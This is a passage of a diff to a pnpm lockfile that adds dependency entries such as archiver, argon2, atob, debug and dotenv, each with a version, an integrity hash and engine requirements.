sha512-bEL/yUb/fNNiNTuUz979Z0Yg5L+LzLxGJz8x79lYmR54fmTIb6ob/hNQgkQnIUDWIFjZVQwl9Xs356I6BAMHfw==} + engines: {node: '>= 6'} + + archiver-utils@3.0.4: + resolution: {integrity: sha512-KVgf4XQVrTjhyWmx6cte4RxonPLR9onExufI1jhvw/MQ4BB6IsZD5gT8Lq+u/+pRkWna/6JoHpiQioaqFP5Rzw==} + engines: {node: '>= 10'} + + archiver@5.3.2: + resolution: {integrity: sha512-+25nxyyznAXF7Nef3y0EbBeqmGZgeN/BxHX29Rs39djAfaFalmQ89SE6CWyDCHzGL0yt/ycBtNOmGTW0FyGWNw==} + engines: {node: '>= 10'} + are-we-there-yet@2.0.0: resolution: {integrity: sha512-Ci/qENmwHnsYo9xKIcUJN5LeDKdJ6R1Z1j9V/J5wyq8nh/mYPEpIKJbBZXtZjG04HiK7zV/p6Vs9952MrMeUIw==} engines: {node: '>=10'} @@ -1890,6 +2161,10 @@ packages: arg@5.0.2: resolution: {integrity: sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==} + argon2@0.43.1: + resolution: {integrity: sha512-TfOzvDWUaQPurCT1hOwIeFNkgrAJDpbBGBGWDgzDsm11nNhImc13WhdGdCU6K7brkp8VpeY07oGtSex0Wmhg8w==} + engines: {node: '>=16.17.0'} + argparse@1.0.10: resolution: {integrity: sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==} @@ -1900,6 +2175,18 @@ packages: resolution: {integrity: sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==} engines: {node: '>= 0.4'} + arr-diff@4.0.0: + resolution: {integrity: sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA==} + engines: {node: '>=0.10.0'} + + arr-flatten@1.1.0: + resolution: {integrity: sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==} + engines: {node: '>=0.10.0'} + + arr-union@3.1.0: + resolution: {integrity: sha512-sKpyeERZ02v1FeCZT8lrfJq5u6goHCtpTAzPwJYe7c8SPFOboNjNg1vz2L4VTn9T4PQxEx13TbXLmYUcS6Ug7Q==} + engines: {node: '>=0.10.0'} + array-buffer-byte-length@1.0.2: resolution: {integrity: sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==} engines: {node: '>= 0.4'} @@ -1911,9 +2198,17 @@ packages: resolution: {integrity: sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==} engines: {node: '>= 0.4'} + array-sort@0.1.4: + resolution: {integrity: sha512-BNcM+RXxndPxiZ2rd76k6nyQLRZr2/B/sdi8pQ+Joafr5AH279L40dfokSUTp8O+AaqYjXWhblBWa2st2nc4fQ==} + engines: {node: '>=0.10.0'} + array-timsort@1.0.3: resolution: {integrity: sha512-/+3GRL7dDAGEfM6TseQk/U+mi18TU2Ms9I3UlLdUMhz2hbvGNTKdj9xniwXfUqgYhHxRx0+8UnKkvlNwVU+cWQ==} + array-unique@0.3.2: + resolution: {integrity: sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ==} + engines: {node: '>=0.10.0'} + array.prototype.findlast@1.2.5: resolution: {integrity: sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==} engines: {node: '>= 0.4'} @@ -1941,6 +2236,10 @@ packages: asap@2.0.6: resolution: {integrity: sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==} + assign-symbols@1.0.0: + resolution: {integrity: sha512-Q+JC7Whu8HhmTdBph/Tq59IoRtoy6KAm5zzPv00WdujX82lbAL8K7WVjne7vdCsAmbF4AYaDOPyO3k0kl8qIrw==} + engines: {node: '>=0.10.0'} + ast-types-flow@0.0.8: resolution: {integrity: sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==} @@ -1948,9 +2247,20 @@ packages: resolution: {integrity: sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==} engines: {node: '>= 0.4'} + async@3.2.6: + resolution: {integrity: sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==} + asynckit@0.4.0: resolution: {integrity: sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==} + atob@2.1.2: + resolution: {integrity: sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==} + engines: {node: '>= 4.5.0'} + hasBin: true + + autolinker@0.28.1: + resolution: {integrity: sha512-zQAFO1Dlsn69eXaO6+7YZc+v84aquQKbwpzCE3L0stj56ERn9hutFxPopViLjo9G+rWwjozRhgS5KJ25Xy19cQ==} + autoprefixer@10.5.0: resolution: {integrity: sha512-FMhOoZV4+qR6aTUALKX2rEqGG+oyATvwBt9IIzVR5rMa2HRWPkxf+P+PAJLD1I/H5/II+HuZcBJYEFBpq39ong==} engines: {node: ^10 || ^12 || >=14} @@ -2008,6 +2318,10 @@ packages: base64-js@1.5.1: resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==} + base@0.11.2: + resolution: {integrity: sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==} + engines: {node: '>=0.10.0'} + baseline-browser-mapping@2.10.31: resolution: {integrity: sha512-MujYO3eP72uvmSE0i4wltsodRfIpZATP3jvzRNRGGxgzId7aVocVJJV3nf01qnzzKFGxQVC9bpWxl5cjxTr/7Q==} engines: {node: '>=6.0.0'} @@ -2017,13 +2331,26 @@ packages: resolution: {integrity: sha512-AGBHOG5hPYZ5Xl9KXzU5iKq9516yEmvCKDg3ecP5kX2aB6UqTeXZxk2ELnDgDm6BQSMlLt9rDB4LoSMx0rYwww==} engines: {node: '>= 10.0.0'} + big-integer@1.6.52: + resolution: {integrity: sha512-QxD8cf2eVqJOOz63z6JIN9BzvVs/dlySa5HGSBH5xtR8dPteIRQnBxxKqkNTiT6jbDTF6jAfrd4oMcND9RGbQg==} + engines: {node: '>=0.6'} + binary-extensions@2.3.0: resolution: {integrity: sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==} engines: {node: '>=8'} + binary@0.3.0: + resolution: {integrity: sha512-D4H1y5KYwpJgK8wk1Cue5LLPgmwHKYSChkbspQg5JtVuR5ulGckxfR62H3AE9UDkdMC8yyXlqYihuz3Aqg2XZg==} + bl@4.1.0: resolution: {integrity: sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==} + block-stream2@2.1.0: + resolution: {integrity: sha512-suhjmLI57Ewpmq00qaygS8UgEq2ly2PCItenIyhMqVjo4t4pGzqMvfgJuX8iWTeSDdfSSqS6j38fL4ToNL7Pfg==} + + bluebird@3.4.7: + resolution: {integrity: sha512-iD3898SR7sWVRHbiQv+sHUtHnMvC1o3nW5rAcqnq3uOn07DSAppZYUkIGslDz6gXC7HfunPe7YVBgoEJASPcHA==} + body-parser@2.2.2: resolution: {integrity: sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA==} engines: {node: '>=18'} @@ -2038,10 +2365,17 @@ packages: resolution: {integrity: sha512-kLpxurY4Z4r9sgMsyG0Z9uzsBlgiU/EFKhj/h91/8yHu0edo7XuixOIH3VcJ8kkxs6/jPzoI6U9Vj3WqbMQ94g==} engines: {node: 18 || 20 || >=22} + braces@2.3.2: + resolution: {integrity: sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==} + engines: {node: '>=0.10.0'} + braces@3.0.3: resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} engines: {node: '>=8'} + browser-or-node@2.1.1: + resolution: {integrity: sha512-8CVjaLJGuSKMVTxJ2DpBl5XnlNDiT4cQFeuCJJrvJmts9YrTZDizTX7PjC2s6W4x+MBGZeEY6dGMrF04/6Hgqg==} + browserslist@4.28.2: resolution: {integrity: sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg==} engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} @@ -2054,18 +2388,29 @@ packages: bser@2.1.1: resolution: {integrity: sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==} + buffer-crc32@0.2.13: + resolution: {integrity: sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==} + buffer-equal-constant-time@1.0.1: resolution: {integrity: sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==} buffer-from@1.1.2: resolution: {integrity: sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==} + buffer-indexof-polyfill@1.0.2: + resolution: {integrity: sha512-I7wzHwA3t1/lwXQh+A5PbNvJxgfo5r3xulgpYDB5zckTu/Z9oUK9biouBKQUjEqzaz3HnAT6TYoovmE+GqSf7A==} + engines: {node: '>=0.10'} + buffer@5.7.1: resolution: {integrity: sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==} buffer@6.0.3: resolution: {integrity: sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==} + buffers@0.1.1: + resolution: {integrity: sha512-9q/rDEGSb/Qsvv2qvzIzdluL5k7AaJOTrw23z9reQthrbF7is4CtlT0DXyO1oei2DCp4uojjzQ7igaSHp1kAEQ==} + engines: {node: '>=0.2.0'} + busboy@1.6.0: resolution: {integrity: sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==} engines: {node: '>=10.16.0'} @@ -2082,6 +2427,10 @@ packages: magicast: optional: true + cache-base@1.0.1: + resolution: {integrity: sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==} + engines: {node: '>=0.10.0'} + call-bind-apply-helpers@1.0.2: resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==} engines: {node: '>= 0.4'} @@ -2113,6 +2462,13 @@ packages: caniuse-lite@1.0.30001793: resolution: {integrity: sha512-iwSsYWaCOoh26cV8NwNRViHlrfUvYsHDfRVcbtmw0Kg6PJIZZXwMkj1442FYLBGkeUf1juAsU3DTfxW579mrPA==} + cfb@1.2.2: + resolution: {integrity: sha512-KfdUZsSOw19/ObEWasvBP/Ac4reZvAGauZhs6S/gqNhXhI7cKwvlH7ulj+dOEYnca4bm4SGo8C1bTAQvnTjgQA==} + engines: {node: '>=0.8'} + + chainsaw@0.1.0: + resolution: {integrity: sha512-75kWfWt6MEKNC8xYXIdRpDehRYY/tNSgwKaJq+dbbDcxORuVrrQ+SEHoWsniVn9XPYfP4gmdWIeDk/4YNp1rNQ==} + chalk@4.1.2: resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} engines: {node: '>=10'} @@ -2121,6 +2477,9 @@ packages: resolution: {integrity: sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==} engines: {node: ^12.17.0 || ^14.13 || >=16.0.0} + change-case@5.4.4: + resolution: {integrity: sha512-HRQyTk2/YPEkt9TnUPbOpr64Uw3KOicFWPVBb+xiHvd6eBx/qPr9xqfBFDT8P2vWsvvz4jbEkfDe71W3VyNu2w==} + char-regex@1.0.2: resolution: {integrity: sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==} engines: {node: '>=10'} @@ -2160,6 +2519,10 @@ packages: class-transformer@0.5.1: resolution: {integrity: sha512-SQa1Ws6hUbfC98vKGxZH3KFY0Y1lm5Zm0SY8XX9zbK7FJCyVEac3ATW0RIpwzW+oOfmHE5PMPufDG9hCfoEOMw==} + class-utils@0.3.6: + resolution: {integrity: sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==} + engines: {node: '>=0.10.0'} + class-validator@0.14.4: resolution: {integrity: sha512-AwNusCCam51q703dW82x95tOqQp6oC9HNUl724KxJJOfnKscI8dOloXFgyez7LbTTKWuRBA37FScqVbJEoq8Yw==} @@ -2197,6 +2560,10 @@ packages: resolution: {integrity: sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==} engines: {node: '>=12'} + cliui@9.0.1: + resolution: {integrity: sha512-k7ndgKhwoQveBL+/1tqGJYNz097I7WOvwbmmU2AR5+magtbjPWQTS1C5vzGkBC8Ym8UWRzfKUzUUqFLypY4Q+w==} + engines: {node: '>=20'} + clone@1.0.4: resolution: {integrity: sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==} engines: {node: '>=0.8'} @@ -2209,9 +2576,17 @@ packages: resolution: {integrity: sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==} engines: {iojs: '>= 1.0.0', node: '>= 0.12.0'} + codepage@1.15.0: + resolution: {integrity: sha512-3g6NUTPd/YtuuGrhMnOMRjFc+LJw/bnMp3+0r/Wcz3IXUuCosKRJvMphm5+Q+bvTVGcJJuRvVLuYba+WojaFaA==} + engines: {node: '>=0.8'} + collect-v8-coverage@1.0.3: resolution: {integrity: sha512-1L5aqIkwPfiodaMgQunkF1zRhNqifHBmtbbbxcr6yVxxBnliw4TDOW6NxpO8DJLgJ16OT+Y4ztZqP6p/FtXnAw==} + collection-visit@1.0.0: + resolution: {integrity: sha512-lNkKvzEeMBBjUGHZ+q6z9pSJla0KWAQPvtzhEV9+iGyQYG+pBpl7xKDhxoNSOZH2hhv0v5k0y2yAM4o4SjoSkw==} + engines: {node: '>=0.10.0'} + color-convert@2.0.1: resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} engines: {node: '>=7.0.0'} @@ -2251,6 +2626,10 @@ packages: component-emitter@1.3.1: resolution: {integrity: sha512-T0+barUSQRTUQASh8bx02dl+DhF54GtIDY13Y3m9oWTklKbb3Wv974meRpeZ3lp1JpLVECWWNHC4vaG2XHXouQ==} + compress-commons@4.1.2: + resolution: {integrity: sha512-D3uMHtGc/fcO1Gt1/L7i1e33VOvD4A9hfQLP+6ewd+BvG/gQ84Yh4oftEhAdjSMgBgwGL+jsppT7JYNpo6MHHg==} + engines: {node: '>= 10'} + concat-map@0.0.1: resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} @@ -2258,6 +2637,9 @@ packages: resolution: {integrity: sha512-MWufYdFw53ccGjCA+Ol7XJYpAlW6/prSMzuPOTRnJGcGzuhLn4Scrz7qf6o8bROZ514ltazcIFJZevcfbo0x7A==} engines: {'0': node >= 6.0} + concat-with-sourcemaps@1.1.0: + resolution: {integrity: sha512-4gEjHJFT9e+2W/77h/DS5SGUgwDaOwprX8L/gl5+3ixnzkVJJsZWDSelmN3Oilw3LNDZjZV0yqH1hLG3k6nghg==} + confbox@0.2.4: resolution: {integrity: sha512-ysOGlgTFbN2/Y6Cg3Iye8YKulHw+R2fNXHrgSmXISQdMnomY6eNDprVdW9R5xBguEqI954+S6709UyiO7B+6OQ==} @@ -2307,6 +2689,13 @@ packages: cookiejar@2.1.4: resolution: {integrity: sha512-LDx6oHrK+PhzLKJU9j5S7/Y3jM/mUHvD/DeI1WQmJn652iPC5Y4TBzC9l+5OMOXlyTTA+SmVUPm0HQUwpD5Jqw==} + copy-descriptor@0.1.1: + resolution: {integrity: sha512-XgZ0pFcakEUlbwQEVNg3+QAis1FyTL3Qel9FYy8pSkQqoG3PNoT0bOCQtOXcOkur21r2Eq2kI+IE+gsmAEVlYw==} + engines: {node: '>=0.10.0'} + + core-util-is@1.0.3: + resolution: {integrity: sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==} + cors@2.8.6: resolution: {integrity: sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==} engines: {node: '>= 0.10'} @@ -2337,6 +2726,19 @@ packages: typescript: optional: true + crc-32@1.2.2: + resolution: {integrity: sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==} + engines: {node: '>=0.8'} + hasBin: true + + crc32-stream@4.0.3: + resolution: {integrity: sha512-NT7w2JVU7DFroFdYkeq8cywxrgjPHWkdX1wjpRQXPX5Asews3tA+Ght6lddQO5Mkumffp3X7GEqku3epj2toIw==} + engines: {node: '>= 10'} + + create-frame@1.0.0: + resolution: {integrity: sha512-SnJYqAwa5Jon3cP8e3LMFBoRG2m/hX20vtOnC3ynhyAa6jmy+BqrPoicBtmKUutnJuphXPj7C54yOXF58Tl71Q==} + engines: {node: '>=0.10.0'} + create-jest@29.7.0: resolution: {integrity: sha512-Adz2bdH0Vq3F53KEMJOoftQFutWCukm6J24wbPWRO4k1kMY7gS7ds/uoJkNuV8wDCtWWnuwGcJwpWcih+zEW1Q==} engines: {node: ^14.15.0 || ^16.10.0 || >=18.0.0} @@ -2427,9 +2829,28 @@ packages: date-fns@3.6.0: resolution: {integrity: sha512-fRHTG8g/Gif+kSh50gaGEdToemgfj74aRX3swtiouboip5JDLAyDE9F11nHMIcvOaXeOC6D7SpNhi7uFyB7Uww==} + date.js@0.3.3: + resolution: {integrity: sha512-HgigOS3h3k6HnW011nAb43c5xx5rBXk8P2v/WIT9Zv4koIaVXiH2BURguI78VVp+5Qc076T7OR378JViCnZtBw==} + dayjs@1.11.20: resolution: {integrity: sha512-YbwwqR/uYpeoP4pu043q+LTDLFBLApUP6VxRihdfNTqu4ubqMlGDLd6ErXhEgsyvY0K6nCs7nggYumAN+9uEuQ==} + debug@2.6.9: + resolution: {integrity: sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + debug@3.1.0: + resolution: {integrity: sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + debug@3.2.7: resolution: {integrity: sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==} peerDependencies: @@ -2454,6 +2875,10 @@ packages: decimal.js-light@2.5.1: resolution: {integrity: sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg==} + decode-uri-component@0.2.2: + resolution: {integrity: sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ==} + engines: {node: '>=0.10'} + dedent@1.7.2: resolution: {integrity: sha512-WzMx3mW98SN+zn3hgemf4OzdmyNhhhKz5Ay0pUfQiMQ3e1g+xmTJWp/pKdwKVXhdSkAEGIIzqeuWrL3mV/AXbA==} peerDependencies: @@ -2473,6 +2898,10 @@ packages: resolution: {integrity: sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==} engines: {node: '>=0.10.0'} + default-compare@1.0.0: + resolution: {integrity: sha512-QWfXlM0EkAbqOCbD/6HjdwT19j7WCkMyiRhWilc4H9/5h/RzTF9gv5LYh1+CmDV5d1rki6KAWLtQale0xt20eQ==} + engines: {node: '>=0.10.0'} + defaults@1.0.4: resolution: {integrity: sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==} @@ -2484,6 +2913,18 @@ packages: resolution: {integrity: sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==} engines: {node: '>= 0.4'} + define-property@0.2.5: + resolution: {integrity: sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==} + engines: {node: '>=0.10.0'} + + define-property@1.0.0: + resolution: {integrity: sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==} + engines: {node: '>=0.10.0'} + + define-property@2.0.2: + resolution: {integrity: sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==} + engines: {node: '>=0.10.0'} + defu@6.1.7: resolution: {integrity: sha512-7z22QmUWiQ/2d0KkdYmANbRUVABpZ9SNYyH5vx6PZ+nE5bcC0l7uFvEfHlyld/HcGBFTL536ClDt3DEcSlEJAQ==} @@ -2556,13 +2997,26 @@ packages: resolution: {integrity: sha512-k8DaKGP6r1G30Lx8V4+pCsLzKr8vLmV2paqEj1Y55GdAgJuIqpRp5FfajGF8KtwMxCz9qJc6wUIJnm053d/WCw==} engines: {node: '>=12'} + dotenv@17.4.2: + resolution: {integrity: sha512-nI4U3TottKAcAD9LLud4Cb7b2QztQMUEfHbvhTH09bqXTxnSie8WnjPALV/WMCrJZ6UV/qHJ6L03OqO3LcdYZw==} + engines: {node: '>=12'} + dunder-proto@1.0.1: resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==} engines: {node: '>= 0.4'} + duplexer2@0.1.4: + resolution: {integrity: sha512-asLFVfWWtJ90ZyOUHMqk7/S2w2guQKxUI2itj3d92ADHhxUSbCMGi1f1cBcJ7xM1To+pE/Khbwo1yuNbMEPKeA==} + eastasianwidth@0.2.0: resolution: {integrity: sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==} + ebec@1.1.1: + resolution: {integrity: sha512-JZ1vcvPQtR+8LGbZmbjG21IxLQq/v47iheJqn2F6yB2CgnGfn8ZVg3myHrf3buIZS8UCwQK0jOSIb3oHX7aH8g==} + + ebec@2.3.0: + resolution: {integrity: sha512-bt+0tSL7223VU3PSVi0vtNLZ8pO1AfWolcPPMk2a/a5H+o/ZU9ky0n3A0zhrR4qzJTN61uPsGIO4ShhOukdzxA==} + ecdsa-sig-formatter@1.0.11: resolution: {integrity: sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==} @@ -2596,10 +3050,17 @@ packages: resolution: {integrity: sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==} engines: {node: '>= 0.8'} + end-of-stream@1.4.5: + resolution: {integrity: sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==} + enhanced-resolve@5.21.6: resolution: {integrity: sha512-aNnGCvbJ/RIyWo1IuhNdVjnNF+EjH9wpzpNHt+ci/m9He9LJvUN8wrCcXjp9cWsGNAuvSpVFTx/vraAFQ8qGjQ==} engines: {node: '>=10.13.0'} + ent@2.2.2: + resolution: {integrity: sha512-kKvD1tO6BM+oK9HzCPpUdRb4vKFQY/FPTFmurMvh6LlN68VMrdj77w8yp51/kDbpkFOS9J8w5W6zIzgM2H8/hw==} + engines: {node: '>= 0.4'} + env-paths@2.2.1: resolution: {integrity: sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==} engines: {node: '>=6'} @@ -2608,9 +3069,17 @@ packages: resolution: {integrity: sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q==} engines: {node: '>=18'} + envix@1.5.0: + resolution: {integrity: sha512-IOxTKT+tffjxgvX2O5nq6enbkv6kBQ/QdMy18bZWo0P0rKPvsRp2/EypIPwTvJfnmk3VdOlq/KcRSZCswefM/w==} + engines: {node: '>=18.0.0'} + error-ex@1.3.4: resolution: {integrity: sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ==} + error-symbol@0.1.0: + resolution: {integrity: sha512-VyjaKxUmeDX/m2lxm/aknsJ1GWDWUO2Ze2Ad8S1Pb9dykAm9TjSKp5CjrNyltYqZ5W/PO6TInAmO2/BfwMyT1g==} + engines: {node: '>=0.10.0'} + es-abstract@1.24.2: resolution: {integrity: sha512-2FpH9Q5i2RRwyEP1AylXe6nYLR5OhaJTZwmlcP0dL/+JCbgg7yyEo/sEK6HeGZRf3dFpWwThaRHVApXSkW3xeg==} engines: {node: '>= 0.4'} @@ -2805,6 +3274,12 @@ packages: resolution: {integrity: 